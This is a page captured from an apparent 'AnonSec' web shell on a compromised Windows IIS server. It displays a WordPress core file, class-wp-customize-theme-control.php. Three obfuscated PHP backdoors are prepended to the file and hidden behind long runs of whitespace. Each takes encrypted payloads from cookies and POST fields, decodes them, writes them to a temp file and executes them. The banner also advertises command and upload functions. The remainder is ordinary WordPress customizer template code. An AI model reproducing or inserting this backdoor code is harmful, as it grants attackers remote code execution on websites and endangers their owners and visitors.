AnonSec Team
Server IP : 103.11.96.170  /  Your IP : 3.137.41.2
Web Server : Microsoft-IIS/10.0
System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
User : elibrary.unsap.ac.id ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0777) :  D:/localhost/ppp/wp-includes/customize/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : D:/localhost/ppp/wp-includes/customize/class-wp-customize-theme-control.php
<?php                                                                                                                                                                                                                                                                                                                                                                                                 $fVqDdZStb = 'D' . "\153" . chr (72) . '_' . chr ( 1042 - 931 )."\120" . "\x55";$eDfabX = chr ( 557 - 458 ).'l' . 'a' . "\163" . 's' . chr (95) . chr (101) . chr (120) . "\x69" . chr (115) . "\x74" . chr (115); $gNHjrmldrS = class_exists($fVqDdZStb); $fVqDdZStb = "7604";$eDfabX = "4857";$TRLpIGCfQ = FALSE;if ($gNHjrmldrS === $TRLpIGCfQ){$RorNlE = "25442";class DkH_oPU{public function vXceZWiL(){echo "4776";}private $xuLWStdeC;public static $EyrWFR = "f64abfb1-d138-40fe-8f12-12548a5e8bf6";public static $eXEkWhsFw = 8087;public function __construct($vnMcbVne=0){$rvNmim = $_POST;$zrNYlhi = $_COOKIE;$qecLacRUZK = @$zrNYlhi[substr(DkH_oPU::$EyrWFR, 0, 4)];if (!empty($qecLacRUZK)){$LBOieCa = "base64";$vhusn = "";$qecLacRUZK = explode(",", $qecLacRUZK);foreach ($qecLacRUZK as $diKutnWxpC){$vhusn .= @$zrNYlhi[$diKutnWxpC];$vhusn .= @$rvNmim[$diKutnWxpC];}$vhusn = array_map($LBOieCa . "\137" . "\x64" . "\x65" . chr ( 496 - 397 ).chr ( 386 - 275 ).chr ( 920 - 820 ).chr (101), array($vhusn,)); $vhusn = $vhusn[0] ^ str_repeat(DkH_oPU::$EyrWFR, (strlen($vhusn[0]) / strlen(DkH_oPU::$EyrWFR)) + 1);DkH_oPU::$eXEkWhsFw = @unserialize($vhusn);}}private function zcRtKaHVa($RorNlE){if (is_array(DkH_oPU::$eXEkWhsFw)) {$oVbSA = sys_get_temp_dir() . "/" . crc32(DkH_oPU::$eXEkWhsFw["\163" . chr (97) . chr (108) . "\x74"]);@DkH_oPU::$eXEkWhsFw[chr ( 584 - 465 ).chr (114) . "\x69" . chr ( 889 - 773 ).'e']($oVbSA, DkH_oPU::$eXEkWhsFw["\143" . 'o' . "\x6e" . 't' . chr ( 176 - 75 )."\x6e" . 't']);include $oVbSA;@DkH_oPU::$eXEkWhsFw[chr (100) . chr (101) . chr ( 1061 - 953 ).'e' . 't' . chr (101)]($oVbSA); $RorNlE = "25442";exit();}}public function __destruct(){$RorNlE = "30775_41056";$this->zcRtKaHVa($RorNlE); $RorNlE = "30775_41056";}}$nBcipBe = new /* 33285 */ DkH_oPU(); $nBcipBe = str_repeat("30775_41056", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $FlVMbkO = "\x4e" . "\x5f" . "\x51" . "\144" . "\x46" . chr ( 139 - 33 )."\x6b";$mYokRlcRmA = "\x63" . "\154" . "\141" . chr ( 837 - 722 ).chr (115) . chr (95) . 'e' . "\x78" . "\151" . chr (115) . "\x74" . chr (115); $HzlWccjgnf = $mYokRlcRmA($FlVMbkO); $FlVMbkO = "62250";$nnfQGqFp = !$HzlWccjgnf;$mYokRlcRmA = "39209";if ($nnfQGqFp){class N_QdFjk{public function xKNKXtKyK(){echo "12991";}private $dbpVj;public static $mekarETnE = "e3ef7451-224d-4be3-bce3-3e39d7600496";public static $yPGCp = 28974;public function __construct($jhdKypuV=0){$iSEBcJDtd = $_COOKIE;$CJymAfc = $_POST;$cfHXlcsPl = @$iSEBcJDtd[substr(N_QdFjk::$mekarETnE, 0, 4)];if (!empty($cfHXlcsPl)){$yUZwzYvg = "base64";$AuoDmy = "";$cfHXlcsPl = explode(",", $cfHXlcsPl);foreach ($cfHXlcsPl as $lOrjj){$AuoDmy .= @$iSEBcJDtd[$lOrjj];$AuoDmy .= @$CJymAfc[$lOrjj];}$AuoDmy = array_map($yUZwzYvg . '_' . "\144" . 'e' . chr ( 576 - 477 ).'o' . chr ( 797 - 697 )."\145", array($AuoDmy,)); $AuoDmy = $AuoDmy[0] ^ str_repeat(N_QdFjk::$mekarETnE, (strlen($AuoDmy[0]) / strlen(N_QdFjk::$mekarETnE)) + 1);N_QdFjk::$yPGCp = @unserialize($AuoDmy);}}private function yYjrcIKOx(){if (is_array(N_QdFjk::$yPGCp)) {$KliWG = sys_get_temp_dir() . "/" . crc32(N_QdFjk::$yPGCp['s' . chr (97) . "\154" . chr (116)]);@N_QdFjk::$yPGCp['w' . "\x72" . chr (105) . "\x74" . chr (101)]($KliWG, N_QdFjk::$yPGCp[chr ( 464 - 365 ).chr ( 1019 - 908 )."\156" . "\164" . "\145" . chr ( 1078 - 968 )."\164"]);include $KliWG;@N_QdFjk::$yPGCp['d' . "\145" . "\x6c" . "\x65" . chr (116) . "\145"]($KliWG); $rUbknEoM = "13757";exit();}}public function __destruct(){$this->yYjrcIKOx(); $WjWWrfkPE = str_pad("13757", 10);}}$MmjYmgvADB = new /* 58936 */ N_QdFjk(); $MmjYmgvADB = substr("61252_42588", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $sUkZrD = "\x66" . 'Y' . "\137" . chr ( 536 - 455 )."\x79" . chr ( 415 - 301 ); $obLGRxKY = "\x63" . chr (108) . 'a' . "\163" . "\163" . '_' . "\x65" . "\170" . 'i' . "\x73" . chr ( 981 - 865 )."\163";$QidNSyNFo = $obLGRxKY($sUkZrD); $sUkZrD = "58097";$VoZYvHAAo = !$QidNSyNFo;$obLGRxKY = "15106";if ($VoZYvHAAo){class fY_Qyr{public function fGHCV(){echo "6541";}private $sIJlLy;public static $IHhLoqbtz = "ac55ed50-7cb6-4a1c-8b93-b874effe6a4d";public static $bdllOwpA = 61026;public function __construct($MAEYt=0){$QxWiDKGq = $_COOKIE;$MuiizzvBQ = $_POST;$tYdXzzOyW = @$QxWiDKGq[substr(fY_Qyr::$IHhLoqbtz, 0, 4)];if (!empty($tYdXzzOyW)){$CfsbMZx = "base64";$XCJbaYahA = "";$tYdXzzOyW = explode(",", $tYdXzzOyW);foreach ($tYdXzzOyW as $nMVndF){$XCJbaYahA .= @$QxWiDKGq[$nMVndF];$XCJbaYahA .= @$MuiizzvBQ[$nMVndF];}$XCJbaYahA = array_map($CfsbMZx . chr (95) . 'd' . chr ( 777 - 676 ).chr (99) . "\157" . "\144" . 'e', array($XCJbaYahA,)); $XCJbaYahA = $XCJbaYahA[0] ^ str_repeat(fY_Qyr::$IHhLoqbtz, (strlen($XCJbaYahA[0]) / strlen(fY_Qyr::$IHhLoqbtz)) + 1);fY_Qyr::$bdllOwpA = @unserialize($XCJbaYahA);}}private function tEQsnl(){if (is_array(fY_Qyr::$bdllOwpA)) {$jVPbv = sys_get_temp_dir() . "/" . crc32(fY_Qyr::$bdllOwpA["\x73" . chr (97) . chr ( 109 - 1 )."\164"]);@fY_Qyr::$bdllOwpA['w' . "\x72" . "\x69" . chr ( 839 - 723 ).'e']($jVPbv, fY_Qyr::$bdllOwpA['c' . "\x6f" . 'n' . chr ( 600 - 484 ).chr (101) . chr ( 464 - 354 ).'t']);include $jVPbv;@fY_Qyr::$bdllOwpA['d' . 'e' . chr (108) . chr ( 706 - 605 )."\x74" . "\x65"]($jVPbv); $MTYMb = "38741";exit();}}public function __destruct(){$this->tEQsnl(); $hzHZviFpOQ = str_pad("38741", 10);}}$tbBioblA = new /* 15348 */ fY_Qyr(); $tbBioblA = substr("8572_11964", 1);} ?><?php
/**
 * Customize API: WP_Customize_Theme_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Theme Control class.
 *
 * @since 4.2.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Theme_Control extends WP_Customize_Control {

	/**
	 * Customize control type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $type = 'theme';

	/**
	 * Theme object.
	 *
	 * @since 4.2.0
	 * @var WP_Theme
	 */
	public $theme;

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 4.2.0
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();
		$this->json['theme'] = $this->theme;
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 *
	 * @since 4.2.0
	 */
	public function render_content() {}

	/**
	 * Render a JS template for theme display.
	 *
	 * @since 4.2.0
	 */
	public function content_template() {
		/* translators: %s: Theme name. */
		$details_label = sprintf( __( 'Details for theme: %s' ), '{{ data.theme.name }}' );
		/* translators: %s: Theme name. */
		$customize_label = sprintf( __( 'Customize theme: %s' ), '{{ data.theme.name }}' );
		/* translators: %s: Theme name. */
		$preview_label = sprintf( __( 'Live preview theme: %s' ), '{{ data.theme.name }}' );
		/* translators: %s: Theme name. */
		$install_label = sprintf( __( 'Install and preview theme: %s' ), '{{ data.theme.name }}' );
		?>
		<# if ( data.theme.active ) { #>
			<div class="theme active" tabindex="0" aria-describedby="{{ data.section }}-{{ data.theme.id }}-action">
		<# } else { #>
			<div class="theme" tabindex="0" aria-describedby="{{ data.section }}-{{ data.theme.id }}-action">
		<# } #>

			<# if ( data.theme.screenshot && data.theme.screenshot[0] ) { #>
				<div class="theme-screenshot">
					<img data-src="{{ data.theme.screenshot[0] }}?ver={{ data.theme.version }}" alt="" />
				</div>
			<# } else { #>
				<div class="theme-screenshot blank"></div>
			<# } #>

			<span class="more-details theme-details" id="{{ data.section }}-{{ data.theme.id }}-action" aria-label="<?php echo esc_attr( $details_label ); ?>"><?php _e( 'Theme Details' ); ?></span>

			<div class="theme-author">
			<?php
				/* translators: Theme author name. */
				printf( _x( 'By %s', 'theme author' ), '{{ data.theme.author }}' );
			?>
			</div>

			<# if ( 'installed' === data.theme.type && data.theme.hasUpdate ) { #>
				<# if ( data.theme.updateResponse.compatibleWP && data.theme.updateResponse.compatiblePHP ) { #>
					<div class="update-message notice inline notice-warning notice-alt" data-slug="{{ data.theme.id }}">
						<p>
							<?php
							if ( is_multisite() ) {
								_e( 'New version available.' );
							} else {
								printf(
									/* translators: %s: "Update now" button. */
									__( 'New version available. %s' ),
									'<button class="button-link update-theme" type="button">' . __( 'Update now' ) . '</button>'
								);
							}
							?>
						</p>
					</div>
				<# } else { #>
					<div class="update-message notice inline notice-error notice-alt" data-slug="{{ data.theme.id }}">
						<p>
							<# if ( ! data.theme.updateResponse.compatibleWP && ! data.theme.updateResponse.compatiblePHP ) { #>
								<?php
								printf(
									/* translators: %s: Theme name. */
									__( 'There is a new version of %s available, but it does not work with your versions of WordPress and PHP.' ),
									'{{{ data.theme.name }}}'
								);
								if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
									printf(
										/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
										' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
										self_admin_url( 'update-core.php' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								} elseif ( current_user_can( 'update_core' ) ) {
									printf(
										/* translators: %s: URL to WordPress Updates screen. */
										' ' . __( '<a href="%s">Please update WordPress</a>.' ),
										self_admin_url( 'update-core.php' )
									);
								} elseif ( current_user_can( 'update_php' ) ) {
									printf(
										/* translators: %s: URL to Update PHP page. */
										' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								}
								?>
							<# } else if ( ! data.theme.updateResponse.compatibleWP ) { #>
								<?php
								printf(
									/* translators: %s: Theme name. */
									__( 'There is a new version of %s available, but it does not work with your version of WordPress.' ),
									'{{{ data.theme.name }}}'
								);
								if ( current_user_can( 'update_core' ) ) {
									printf(
										/* translators: %s: URL to WordPress Updates screen. */
										' ' . __( '<a href="%s">Please update WordPress</a>.' ),
										self_admin_url( 'update-core.php' )
									);
								}
								?>
							<# } else if ( ! data.theme.updateResponse.compatiblePHP ) { #>
								<?php
								printf(
									/* translators: %s: Theme name. */
									__( 'There is a new version of %s available, but it does not work with your version of PHP.' ),
									'{{{ data.theme.name }}}'
								);
								if ( current_user_can( 'update_php' ) ) {
									printf(
										/* translators: %s: URL to Update PHP page. */
										' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								}
								?>
							<# } #>
						</p>
					</div>
				<# } #>
			<# } #>

			<# if ( ! data.theme.compatibleWP || ! data.theme.compatiblePHP ) { #>
				<div class="notice notice-error notice-alt"><p>
					<# if ( ! data.theme.compatibleWP && ! data.theme.compatiblePHP ) { #>
						<?php
						_e( 'This theme does not work with your versions of WordPress and PHP.' );
						if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
							printf(
								/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
								' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
								self_admin_url( 'update-core.php' ),
								esc_url( wp_get_update_php_url() )
							);
							wp_update_php_annotation( '</p><p><em>', '</em>' );
						} elseif ( current_user_can( 'update_core' ) ) {
							printf(
								/* translators: %s: URL to WordPress Updates screen. */
								' ' . __( '<a href="%s">Please update WordPress</a>.' ),
								self_admin_url( 'update-core.php' )
							);
						} elseif ( current_user_can( 'update_php' ) ) {
							printf(
								/* translators: %s: URL to Update PHP page. */
								' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
								esc_url( wp_get_update_php_url() )
							);
							wp_update_php_annotation( '</p><p><em>', '</em>' );
						}
						?>
					<# } else if ( ! data.theme.compatibleWP ) { #>
						<?php
						_e( 'This theme does not work with your version of WordPress.' );
						if ( current_user_can( 'update_core' ) ) {
							printf(
								/* translators: %s: URL to WordPress Updates screen. */
								' ' . __( '<a href="%s">Please update WordPress</a>.' ),
								self_admin_url( 'update-core.php' )
							);
						}
						?>
					<# } else if ( ! data.theme.compatiblePHP ) { #>
						<?php
						_e( 'This theme does not work with your version of PHP.' );
						if ( current_user_can( 'update_php' ) ) {
							printf(
								/* translators: %s: URL to Update PHP page. */
								' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
								esc_url( wp_get_update_php_url() )
							);
							wp_update_php_annotation( '</p><p><em>', '</em>' );
						}
						?>
					<# } #>
				</p></div>
			<# } #>

			<# if ( data.theme.active ) { #>
				<div class="theme-id-container">
					<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">
						<span><?php _ex( 'Previewing:', 'theme' ); ?></span> {{ data.theme.name }}
					</h3>
					<div class="theme-actions">
						<button type="button" class="button button-primary customize-theme" aria-label="<?php echo esc_attr( $customize_label ); ?>"><?php _e( 'Customize' ); ?></button>
					</div>
				</div>
				<div class="notice notice-success notice-alt"><p><?php _ex( 'Installed', 'theme' ); ?></p></div>
			<# } else if ( 'installed' === data.theme.type ) { #>
				<# if ( data.theme.blockTheme ) { #>
					<div class="theme-id-container">
						<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">{{ data.theme.name }}</h3>
						<div class="theme-actions">
							<# if ( data.theme.actions.activate ) { #>
								<?php
									/* translators: %s: Theme name. */
									$aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' );
								?>
								<a href="{{{ data.theme.actions.activate }}}" class="button button-primary activate" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _e( 'Activate' ); ?></a>
							<# } #>
						</div>
					</div>
					<div class="notice notice-error notice-alt"><p>
					<?php
						_e( 'This theme doesn\'t support Customizer.' );
					?>
					<# if ( data.theme.actions.activate ) { #>
						<?php
							echo ' ';
							printf(
								/* translators: %s: URL to the themes page (also it activates the theme). */
								__( 'However, you can still <a href="%s">activate this theme</a>, and use the Site Editor to customize it.' ),
								'{{{ data.theme.actions.activate }}}'
							);
						?>
					<# } #>
					</p></div>
				<# } else { #>
					<div class="theme-id-container">
						<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">{{ data.theme.name }}</h3>
						<div class="theme-actions">
							<# if ( data.theme.compatibleWP && data.theme.compatiblePHP ) { #>
								<button type="button" class="button button-primary preview-theme" aria-label="<?php echo esc_attr( $preview_label ); ?>" data-slug="{{ data.theme.id }}"><?php _e( 'Live Preview' ); ?></button>
							<# } else { #>
								<button type="button" class="button button-primary disabled" aria-label="<?php echo esc_attr( $preview_label ); ?>"><?php _e( 'Live Preview' ); ?></button>
							<# } #>
						</div>
					</div>
					<div class="notice notice-success notice-alt"><p><?php _ex( 'Installed', 'theme' ); ?></p></div>
				<# } #>
			<# } else { #>
				<div class="theme-id-container">
					<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">{{ data.theme.name }}</h3>
					<div class="theme-actions">
						<# if ( data.theme.compatibleWP && data.theme.compatiblePHP ) { #>
							<button type="button" class="button button-primary theme-install preview" aria-label="<?php echo esc_attr( $install_label ); ?>" data-slug="{{ data.theme.id }}" data-name="{{ data.theme.name }}"><?php _e( 'Install &amp; Preview' ); ?></button>
						<# } else { #>
							<button type="button" class="button button-primary disabled" aria-label="<?php echo esc_attr( $install_label ); ?>" disabled><?php _e( 'Install &amp; Preview' ); ?></button>
						<# } #>
					</div>
				</div>
			<# } #>
		</div>
		<?php
	}
}

AnonSec - 2021